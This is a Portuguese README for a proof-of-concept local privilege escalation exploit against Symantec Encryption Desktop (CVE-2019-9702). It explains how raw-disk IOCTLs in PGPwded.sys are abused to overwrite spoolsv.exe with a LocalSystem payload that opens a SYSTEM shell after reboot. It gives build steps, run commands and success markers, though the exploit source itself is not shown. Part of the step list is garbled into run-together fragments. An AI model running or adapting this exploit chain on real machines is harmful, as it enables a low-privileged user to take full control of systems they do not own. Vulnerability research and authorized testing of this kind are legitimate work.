
Prova de Conceito (PoC) de Escalação de Privilégio Local para abrir um shell SYSTEM para o CVE-2019-9702 no Symantec Encryption Desktop.
PGPwded.sysEste repositório contém uma prova de conceito para um caminho de escalada de privilégio local no filtro de armazenamento PGPwded.sys do Symantec Encryption Desktop, baseado em uma primitiva de leitura/escrita bruta de disco de baixo privilégio.
A PoC foi desenvolvida e testada contra o Symantec Encryption Desktop Pro 10.4.2 MP3. Outras versões não foram testadas com esta implementação.
O trabalho foi inspirado e baseia-se na pesquisa pública original de Kyriakos Economou / Nettitude, agora LRQA Nettitude:
O artigo deles descreve a verificação de acesso ao dispositivo PGPwded.sys, a ideia de injeção em processo PGP confiável, os IOCTLs de leitura/escrita bruta e as abordagens de exploração baseadas em NTFS. Esta PoC concentra-se em uma variante de sobrescrita de binário de serviço acionada por reinicialização e inclui um utilitário de pré-verificação somente leitura.
src/
sym_portable_launcher.c # single-EXE launcher; embeds and drops the staging worker
portable_stage_worker.c # injected worker; maps C:, opens PGPwded, stages payload
spooler_payload.c # service payload run by Spooler as LocalSystem after reboot
sym_portable_precheck.c # single-EXE read-only precheck launcher
precheck_worker.c # injected read-only diagnostic worker
*_bytes.h # generated embedded payload/worker byte arrays
tools/
sym_target_diag_lite.cmd # wrapper script for collecting target diagnostics
O exploit de estágio de reinicialização é um único executável Windows de 32 bits descartado. Em alto nível:
C:\Users\Public.%TEMP%.\\.\PGPwdef de dentro do caminho da imagem do processo PGP confiável.C:\Windows\System32\spoolsv.exe para sua extensão NTFS e calcula o setor de disco subjacente.\Device\000000xx mapeia para aquele setor C: usando o IOCTL de leitura bruta.C:\Users\Public\spoolsv.exe.orig.portable.spoolsv.exe com um payload de serviço LocalSystem incorporado.A pré-verificação somente leitura segue o mesmo caminho de processo confiável, mas usa apenas o IOCTL de leitura bruta. Ela não sobrescreve arquivos e não prepara o exploit.
Compile a partir de um host Linux com MinGW-w64 instalado:
make
Saídas esperadas:
bin/sym_portable_reboot_stage32.exe # exploit/stager
bin/sym_portable_precheck32.exe # read-only precheck
Execute a pré-verificação primeiro. Ela tem como objetivo responder se as condições atuais do exploit estão presentes sem modificar arquivos protegidos.
C:\Users\Public\sym_portable_precheck32.exe
notepad C:\Users\Public\sym_portable_precheck.log
Um alvo viável deve terminar com:
[OK] current reboot exploit conditions
Se o log não mostrar PGP PDOs legíveis, ou nenhuma correspondência de setor C:, não execute o exploit. Isso geralmente significa que o disco do SO não é gerenciado/instrumentado pelo Symantec WDE.
Para um relatório de alvo mais completo, copie os dois arquivos abaixo para o mesmo diretório e execute o wrapper CMD:
sym_target_diag_lite.cmd
sym_portable_precheck32.exe
Em seguida, execute:
C:\Users\Public\sym_target_diag_lite.cmd
notepad C:\Users\Public\sym_target_diag_lite.log
Execute o exploit apenas em sistemas onde você está autorizado a modificar arquivos protegidos do sistema e onde a pré-verificação foi aprovada.
Copie o stager para um caminho gravável e execute-o como o usuário de baixo privilégio:
C:\Users\Public\sym_portable_reboot_stage32.exe
Verifique os logs de preparação:
type C:\Users\Public\sym_portable_launcher.log
type C:\Users\Public\sym_portable_stage.log
Se a preparação for bem-sucedida, o log do worker contém:
STAGED_OK_REBOOT_TO_TRIGGER
Reinicie a máquina. Após a reinicialização, o serviço Spooler deve iniciar o payload como LocalSystem e abrir um prompt de comando intitulado:
SYSTEM_CMD_FROM_PORTABLE_REBOOT_LPE
O stager cria este backup antes de sobrescrever o alvo:
C:\Users\Public\spoolsv.exe.orig.portable
Um modo de restauração pública com um clique não está incluído. Durante os testes, a restauração foi realizada escrevendo o backup bruto sobre os mesmos setores mapeados e reiniciando. Um fluxo de restauração seguro deve ser adicionado e validado antes de publicar os binários.
C:\Windows\System32\spoolsv.exe.PGPwded.sys; apenas uma instalação do Symantec não é suficiente.Este é um código de pesquisa para testes autorizados e validação defensiva. Não o execute em sistemas que você não possui ou para os quais não tenha permissão explícita para avaliar.